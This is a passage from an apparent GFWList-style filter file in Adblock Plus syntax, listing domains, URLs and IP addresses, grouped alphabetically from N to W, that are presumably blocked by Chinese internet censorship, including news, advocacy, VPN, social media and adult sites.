net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedrive.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!